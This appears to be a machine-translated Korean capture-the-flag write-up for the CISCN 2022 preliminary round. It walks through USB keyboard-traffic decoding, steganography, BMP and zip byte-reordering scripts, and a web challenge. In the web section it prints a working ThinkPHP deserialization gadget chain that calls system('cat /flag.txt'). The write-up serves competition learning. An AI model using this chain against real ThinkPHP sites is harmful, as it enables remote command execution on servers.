제15회 전국 대학생 지식경진대회 시나리오 연습 2022ciscn 예비편 작성

암호화

역에 로그인

로그인, 먼저 메시지 보내기, 제목 받기

"Bee Shi가 안전하게 도착했습니다"에 해당하는 7개의 코드:
1732 2514 1344 0356 0451 6671 0055

모듈로 10 알고리즘 예: 1732 및 6378은 7000을 얻습니다.

패킷 전송의 예: /send?msg=s

코드북 모듈로 10으로 작업하면 2979481690868655519524457577을 얻습니다.

그런 다음 패키지를 보내십시오

챌린지 코드에 기반한 양방향 인증1

챌린지 코드에 기반한 양방향 인증2

지난번 게임과 같은 의외의 게임이었습니다. 역시 봄과 가을의 게임이었습니다. Direct grep -r "flag{" /

깃발을 찾을 수 있습니다
여기에 이미지 설명 삽입

챌린지 코드에 기반한 양방향 인증3

같은 방법으로 가짜 플래그를 생성할 수 없습니다.

고쳐진줄 알았는데

반시? 또 한 무리의 사람들

이번에는 크립토에 웹타이틀 넣었나?(?

루트 암호 도구(일부 가상 머신은 이 암호임)를 찾은 다음 이전 위치에서 flag2.txt를 찾습니다.여기에 이미지 설명 삽입

기타

ez_usb

명백한 키보드 트래픽이 있지만 직접 내보내기가 잘못되었습니다.여기에서도 2.8.1과 2.10.1의 두 가지 버전이 있음을 알 수 있으므로 추측을 별도로 내보내야 합니다.

导出2.8.1:tshark -r ez_usb.pcapng -T fields -e usbhid.data -Y "usb.device_address == 8"> 281.txt

导出2.10.1:tshark -r ez_usb.pcapng -T fields -e usbhid.data -Y "usb.device_address == 10"> 2101.txt
이상한 점은 usb.src를 직접 가져오기가 작동하지 않고 문자열 형식조차도 2.8.1 및 2.10.1을 내보낼 수 없다는 것입니다.

키보드 웹 스크립트

import os
# os.system("tshark -r test.pcapng -T fields -e usb.capdata > usbdata.txt")
normalKeys = {
    
    "04":"a", "05":"b", "06":"c", "07":"d", "08":"e", "09":"f", "0a":"g", "0b":"h", "0c":"i", "0d":"j", "0e":"k", "0f":"l", "10":"m", "11":"n", "12":"o", "13":"p", "14":"q", "15":"r", "16":"s", "17":"t", "18":"u", "19":"v", "1a":"w", "1b":"x", "1c":"y", "1d":"z","1e":"1", "1f":"2", "20":"3", "21":"4", "22":"5", "23":"6","24":"7","25":"8","26":"9","27":"0","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t","2c":"<SPACE>","2d":"-","2e":"=","2f":"[","30":"]","31":"\\","32":"<NON>","33":";","34":"'","35":"<GA>","36":",","37":".","38":"/","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}

shiftKeys = {
    
    "04":"A", "05":"B", "06":"C", "07":"D", "08":"E", "09":"F", "0a":"G", "0b":"H", "0c":"I", "0d":"J", "0e":"K", "0f":"L", "10":"M", "11":"N", "12":"O", "13":"P", "14":"Q", "15":"R", "16":"S", "17":"T", "18":"U", "19":"V", "1a":"W", "1b":"X", "1c":"Y", "1d":"Z","1e":"!", "1f":"@", "20":"#", "21":"$", "22":"%", "23":"^","24":"&","25":"*","26":"(","27":")","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t","2c":"<SPACE>","2d":"_","2e":"+","2f":"{","30":"}","31":"|","32":"<NON>","33":"\"","34":":","35":"<GA>","36":"<","37":">","38":"?","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}


nums = []
keys = open('281.txt')
for line in keys:
    if len(line)!=17: #首先过滤掉鼠标等其他设备的USB流量
         continue
    nums.append(line[0:2]+line[4:6]) #取一、三字节
keys.close()
output = ""
for n in nums:
    if n[2:4] == "00" :
        continue

    if n[2:4] in normalKeys:
        if n[0:2]=="02": #表示按下了shift
            output += shiftKeys [n[2:4]]
        else :
            output += normalKeys [n[2:4]]
    else:
        output += '[unknown]'
print('output :n' + output)

압축된 패키지(del과 마지막 e 앞에 있는 c를 삭제해야 함), 암호 35c535765e50074a, 플래그를 가져오기 위해 압축 해제

영원한_밤

A2 채널에는 비밀번호가 있습니다.

여기에 이미지 설명 삽입

여기에 이미지 설명 삽입

rgb0 채널에 따르면 LSB가 있지만 해결할 수 없으며 암호가 있습니다. ichunqiu가 가장 좋아하는 cloacked-pixel

lsb.py를 통해 압축된 패키지를 추출합니다.

둘째, png 파일의 시작 부분에 16바이트의 추가 데이터가 있는데 XOR을 통해 블라스팅하여 해결할 수 없는 다음 md5를 시도하고 해결할 수 있음을 찾습니다(cmd5도 해결할 수 없음)

여기에 이미지 설명 삽입

5개 언어

그러면 해는 png지만 zlib 이후에는 모두 00이고 그 다음에는 일부 데이터이고 후자는 zlib나 Huffman에 의해 압축된 것과 같지 않고 데이터에 대해서만 bmp 헤더와 결합하여 bmp를 직접 잠그고, QQ 스크린샷을 사용하여 Zhang의 새 bmp 맵을 생성한 다음 교체하고 비트 깊이를 24로 변경한 다음 너비를 폭발시킵니다.

여기에 이미지 설명 삽입

폭 352에서 폭발

블라스팅 스크립트는 총 400줄 이상(대부분 블래스트 가능)의 조상 스크립트를 사용하며 아래에는 bmp 부분만 나와 있습니다.

def crackbmp():
	bmph=fr[22:26]
	print(type(bmph))
	print(bmph)
	k=int.from_bytes(bmph,'little',signed=True)
	print(k)
	if k<0:

		headdata = bytearray(fr[0:18])
		widthdata = bytearray(fr[18:22])
		heightdata = bytearray(fr[22:26])
		remaindata = bytearray(fr[26::])



		# n = 2000

		h1 = -h
		
		#h=h&0xffffffff

		print (h1)

		path=os.getcwd()
		tmppath=path+'\\tmpbmpnormal'
		print(tmppath)

		if os.path.exists(tmppath):
			os.chdir(tmppath)
		else:
			os.mkdir(tmppath)
			os.chdir(tmppath)

		heightdata=h1.to_bytes(4, 'little',signed=True)


		for w in range(1,n): 
			widthdata=w.to_bytes(4, 'little')

			newfile=headdata+widthdata+heightdata+remaindata
			fw = open(str(w)+'.bmp','wb') 
			fw.write(newfile) 
			fw.close 


	else:
		headdata = bytearray(fr[0:18])
		widthdata = bytearray(fr[18:22])
		heightdata = bytearray(fr[22:26])
		remaindata = bytearray(fr[26::])

		

		# n = 2000

		# h = 300

		path=os.getcwd()
		tmppath=path+'\\tmpbmpreverse'
		print(tmppath)

		if os.path.exists(tmppath):
			os.chdir(tmppath)
		else:
			os.mkdir(tmppath)
			os.chdir(tmppath)

		heightdata=h.to_bytes(4, 'little',signed=True)


		for w in range(1,n): 
			widthdata=w.to_bytes(4, 'little')

		#	print (widthdata)

			newfile=headdata+widthdata+heightdata+remaindata
			fw = open(str(w)+'.bmp','wb') 
			fw.write(newfile) 
			fw.close 	

설문지

여기에 이미지 설명 삽입

아기 디스크

첫 번째는 wav이고, 그 다음에는 복원할 때 휴지통에 있는 파일을 볼 수 있습니다. 테스트 후 wav는 deepsound입니다.
여기에 이미지 설명 삽입

암호 피드백을 받은 다음 deepsound를 통해 해결하세요.

여기에 이미지 설명 삽입

열쇠:e575ac894c385a6f

자, 다음은 이름 없는 파일입니다. 포렌식 중 포렌식 마스터입니다.

여기에 이미지 설명 삽입

아주좋습니다 ​​암호화된파일입니다 테스트후 veracrypt 인줄알고 zip을 받았는데 아주 이상하네요 zip 이름을 번역해봤더니 ..螺旋

바이트 크기를 보세요.

여기에 이미지 설명 삽입

아주 좋아요 감사합니다

온라인에서 파이썬 알고리즘 찾기

https://blog.csdn.net/GW_wg/article/details/120406192

def function(n):
    matrix = [[0] * n for _ in range(n)]

    number = 1
    left, right, up, down = 0, n - 1, 0, n - 1
    while left < right and up < down:
        # 从左到右
        for i in range(left, right):
            matrix[up][i] = number
            number += 1

        # 从上到下
        for i in range(up, down):
            matrix[i][right] = number
            number += 1

        # 从右向左
        for i in range(right, left, -1):
            matrix[down][i] = number
            number += 1

        for i in range(down, up, -1):
            matrix[i][left] = number
            number += 1
        left += 1
        right -= 1
        up += 1
        down -= 1
    # n 为奇数的时候,正方形中间会有个单独的空格需要单独填充
    if n % 2 != 0:
        matrix[n // 2][n // 2] = number
    return matrix

아주 좋습니다. 그러면 나선형의 순서가 출력됩니다. 직접 호출하고 철자를 입력하면 완성도는 다음과 같습니다.

def function(n):
    matrix = [[0] * n for _ in range(n)]

    number = 1
    left, right, up, down = 0, n - 1, 0, n - 1
    while left < right and up < down:
        # 从左到右
        for i in range(left, right):
            matrix[up][i] = number
            number += 1

        # 从上到下
        for i in range(up, down):
            matrix[i][right] = number
            number += 1

        # 从右向左
        for i in range(right, left, -1):
            matrix[down][i] = number
            number += 1

        for i in range(down, up, -1):
            matrix[i][left] = number
            number += 1
        left += 1
        right -= 1
        up += 1
        down -= 1
    # n 为奇数的时候,正方形中间会有个单独的空格需要单独填充
    if n % 2 != 0:
        matrix[n // 2][n // 2] = number
    return matrix

f = open('spiral.zip','rb').read()
s = function(87)
# print(s)
s = sum(s,[])
#print(s)

f1 = open('fla.zip','wb')
arr = [0]*7569
# print(arr)
for i in range(len(s)):
    arr[i] = f[s[i]-1]
#print(arr)
# print(arr)
for i in arr:
    print(hex(i)[2:].zfill(2),end='')

그런 다음 메모장 ++은 16 진수를 변환합니다.

여기에 이미지 설명 삽입

길이 49, 양호, 나선형

여기에 이미지 설명 삽입

아주 좋습니다. 감사합니다 ->flag{701fa9fe-63f5-410b-93d4-119f96965be6}

편물

이즈팝

www.zip 다운로드 소스 코드, 컨트롤러에 역직렬화가 있습니다.

여기에 이미지 설명 삽입

https://www.freebuf.com/vuls/321546.html

건설 체인

<?php
namespace think{
    
    
    abstract class Model{
    
    
        private $lazySave = false;
        private $data = [];
        private $exists = false;
        protected $table;
        private $withAttr = [];
        protected $json = [];
        protected $jsonAssoc = false;
        function __construct($obj = ''){
    
    
            $this->lazySave = True;
            $this->data = ['whoami' => ['cat /flag.txt']];
            $this->exists = True;
            $this->table = $obj;
            $this->withAttr = ['whoami' => ['system']];
            $this->json = ['whoami',['whoami']];
            $this->jsonAssoc = True;
        }
    }
}
namespace think\model{
    
    
    use think\Model;
    class Pivot extends Model{
    
    
    }
}

namespace{
    
    
    echo(base64_encode(serialize(new think\model\Pivot(new think\model\Pivot()))));
}

그런 다음 사이버는 urlencode의 기반을 해결하지만 여기에서 직접 urlencode에 성공하지 못했습니다 ...

여기에 이미지 설명 삽입

여기에 이미지 설명 삽입

рекомендация

отblog.csdn.net/qq_42880719/article/details/125035408
рекомендация